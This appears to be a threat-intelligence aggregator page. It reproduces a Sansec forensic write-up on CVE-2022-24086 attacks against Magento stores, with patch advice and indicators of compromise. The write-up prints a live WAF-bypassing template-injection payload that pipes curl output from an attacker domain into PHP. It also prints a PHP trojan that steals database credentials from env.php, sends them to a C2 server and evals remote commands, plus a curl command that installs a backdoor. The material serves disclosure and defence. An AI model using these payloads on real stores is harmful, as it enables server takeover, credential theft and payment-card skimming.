ZeroHour
Sansec (Magento / e-commerce security)published ()ingested Sansec Forensics Team

Magento wish list exploit bypasses WAF protection

criticalVulnerabilityimportance 60CVE-2022-24086

Vulnerabilities mentionedAll →

CVEVulnerabilityCVSSEPSSFlagsAffectedExposurePublished
CVE-2022-24086
Unauthenticated RCE via checkout input-validation flaw in Adobe Commerce/Magento

Adobe Commerce and Magento Open Source versions 2.4.3-p1 and earlier and 2.3.7-p2 and earlier contain an improper input validation flaw (CWE-20) in the checkout process. A remote attacker can trigger it with no privileges and no user interaction by submitting crafted input to a store's checkout flow, and successful exploitation results in arbitrary code execution on the server hosting the storefront. Any Adobe Commerce or Magento Open Source storefront running the affected versions is exposed, and because these are internet-facing e-commerce sites the practical exposure is broad. Exploitation is confirmed in the wild: the flaw is in CISA's Known Exploited Vulnerabilities catalog (added 2022-02-15), its EPSS exploitation probability is 99.2% (100th percentile), and news reports describe ongoing attacks against Magento 2 stores, including recurring 'Xurum' attack campaigns and template-based attacks.

Do: Upgrade every store to an Adobe-patched release per the vendor's instructions - i.e., any release newer than 2.4.3-p1 on the 2.4.x line or newer than 2.3.7-p2 on the 2.3.x line - noting that headlines indicate companion Magento CVEs were fixed in the same patch release, so consult Adobe's advisory for the full list. Because exploitation is unauthenticated and confirmed in the wild, prioritize internet-facing shops; WAF rules may reduce risk, but reports indicate WAF bypasses in related Magento attacks, so patching is the only reliable fix. After patching, review web server and application logs for exploitation attempts against the checkout flow and check affected hosts for indicators of compromise.

9.899% KEV
  • Adobe Commerce 2.4.3-p1 and earlier; 2.3.7-p2 and earlier
  • Adobe Magento Open Source 2.4.3-p1 and earlier; 2.3.7-p2 and earlier
massroughly 100,000-300,000 online storefronts (Magento/Adobe Commerce is among the most widely deployed e-commerce platforms)

Indicators of compromiseAll →

TypeIndicatorContext
ipv469.49.246.122omise 79.141.160.185 attacker IP, HZ Hosting Ltd (AS202015) 69.49.246.122 C2 server https://a.aa4.in malware loader https://www.purpl
ipv479.141.160.185n run a basic scan free of charge. Indicators of compromise 79.141.160.185 attacker IP, HZ Hosting Ltd (AS202015) 69.49.246.122 C2 ser
Full article1,059 words · extracted from sansec.io · click to collapse

In recent weeks, Sansec observed a spike in hacked Magento 2 stores. Our investigations led to a (likely) single attacker, who used a combination of clever techniques to bypass WAFs and competing threat actors. This article lists the methods and discovered attack code.

Are you a merchant? Take these steps now.

The entry vector is the notorious Trojan Order attack (read more on our Trojanorder research, research about CVE-2022-24086 and research about template attacks). Adobe issued a security fix last year, and we estimate that about 80% of stores are currently patched. But many of the remaining stores have been "patched" by a threat actor who wants to protect their "property" from competing actors.

Bypassing competing attackers

This "protection" typically looks like this, which gets added to app/bootstrap.php, and will filter all POST requests that contain addAfterFilterCallback.

if(preg_match('/addafterfiltercallback/si', preg_replace("/[^A-Za-z]/",
    '', urldecode(file_get_contents("php://input"))))) {
    header('HTTP/1.1 503 Service Temporarily Unavailable');
    header('Status: 503 Service Temporarily Unavailable');
    exit;
}

However, in the Magento stack, urldecode is called twice, which means that an attacker can inject a double URL-encoded payload, bypass the protection, and still be able to execute its malicious intent.

Such a bypass may contain URL encoded carriage returns (\r\n), such as in this sample exploit payload (1234 is likely the victim identifier as assigned by the attacker):

{{var this.getTempl%0d%0aateFilter().filter(%22curl%22)}}
{{var this.getTempla%0d%0ateFilter().addAft%0d%0aerFilterCallback(%22SySTeM%22).filter(
    %22curl%20%5C%22https://a.aa4.in/x.php?x=a1234%5C%22%20%7C%20php%22
)}}

This fetches https://a.aa4.in/x.php?x=a1234 and executes it with PHP. In turn, this downloads a trojan from http://69.49.246.122/[HASH].php. The following may show up in your server's process list:

$ ps uxaf | grep curl
www-data 18990  0.0  0.1 144840 39244 ?        S    15:00   0:00 php -r function _log($s){$myCurl = curl_init();curl_setopt_array($myCurl, array(CURLOPT_URL => "http://69.49.246.122/[HASH].php",CURLOPT_RETURNTRANSFER => true,CURLOPT_POST => 1,CURLOPT_POSTFIELDS => http_build_query(array("s" => $s)),CURLOPT_TIMEOUT => 15));$response = curl_exec($myCurl);curl_close($myCurl);}function _comand(){$myCurl = curl_init();curl_setopt_array($myCurl, array(CURLOPT_URL => "http://69.49.246.122/[HASH].php",CURLOPT_RETURNTRANSFER => true,CURLOPT_TIMEOUT => 15));$response = curl_exec($myCurl);curl_close($myCurl);return $response;}function _sql($z,$m){global $_host, $_username, $_password, $_dbname;$connect = mysqli_connect($_host, $_username, $_password, $_dbname);$get=mysqli_query($connect,$z);    if(!$get){return false;}if(!$m){return mysqli_fetch_array($get,MYSQLI_ASSOC);}$mas=array();while($e=mysqli_fetch_array($get,MYSQLI_ASSOC)){$mas[]=$e;}return $mas;}function _sql_d($s){global $_host, $_username, $_password, $_dbname;$connect = mysqli_connect($_host, $_username, $_password, $_dbname);mysqli_query($connect,$s);}$a=file_get_contents("app/etc/env.php");if(!$a){$a=file_get_contents("../app/etc/env.php");}$a=explode("return",$a);$a=eval("$"."b=".$a[1]);$b2=$b["backend"];$url_admin=$b2["frontName"];$b1=$b["db"];$_table_prefix=$b1["table_prefix"];$b1=$b1["connection"];$b1=$b1["default"];$_host=$b1["host"];$_dbname=$b1["dbname"];$_username=$b1["username"];$_password=$b1["password"];$TIMEPAUSE=30;_log("START a1234");while(true){$c=_comand();if($c=="CLOSE"){exit;}if($c){try {eval($c);} catch (Exception $e) {}}sleep($TIMEPAUSE);}_log("CLOSE");

Or, decoded:

function _log($s)
{
    $myCurl = curl_init();
    curl_setopt_array($myCurl, array(CURLOPT_URL => "http://69.49.246.122/[HASH].php", CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => 1, CURLOPT_POSTFIELDS => http_build_query(array("s" => $s)), CURLOPT_TIMEOUT => 15));
    $response = curl_exec($myCurl);
    curl_close($myCurl);
}
$a = file_get_contents('app/etc/env.php');
if (!$a) {
    $a = file_get_contents('../app/etc/env.php');
}
_log($a);
_log(count(_sql("SELECT * FROM " . $_table_prefix . "sales_order WHERE created_at LIKE '%2023-05%'", true)));
_log(count(_sql("SELECT * FROM " . $_table_prefix . "quote_payment WHERE created_at LIKE '%2023-05%' AND method != 'NULL'", true)));

The first thing it does, it gather statistics about sales and payments. These are key selling points when putting up a compromised store for sale on dark web forums.

Finally, via this trojan, another backdoor is installed, presumably for later use. It attaches itself to the 404 handler, so can be activated when requesting an non-existing URL.

curl https://www.purplesunrise.com/2.js > 404.php

Bypassing WAF rules

This method of injecting bogus whitespace (\r\n) into the attack payload may also circumvent popular web application firewall (WAF) filters. If you depend on a WAF to protect your outdated Magento installation, you may want to review your filters or consider an emergency fix, see below.

common.js malware

In a subset of cases, we found a background process that would search for all instances of common.js and attach a fake payment form to it. You should search for unauthorized background processes and, if found, terminate them. Make sure you have trusted off site source available, so you can easily revert to a trusted copy.

Are you affected?

The best solution is to upgrade your Magento store to a recently supported version. See our matrix of secure versions here.

If, for some reason, you cannot upgrade in the short term, you can apply the emergency fix as listed here.

Regardless of the solution, you should analyze your store for signs of a hack. The easiest and fastest way to do so, is use our eComscan malware & vulnerability scanner. You can run a basic scan free of charge.

Indicators of compromise

  • 79.141.160.185 attacker IP, HZ Hosting Ltd (AS202015)
  • 69.49.246.122 C2 server
  • https://a.aa4.in malware loader
  • https://www.purplesunrise.com/2.js PHP backdoor
  • https://triconville.com/pub/errors/cr.js PHP backdoor embedded payload

Read more

Text extracted automatically; images, tables and formatting may be missing. Original: https://sansec.io/research/magento-wish-list-exploits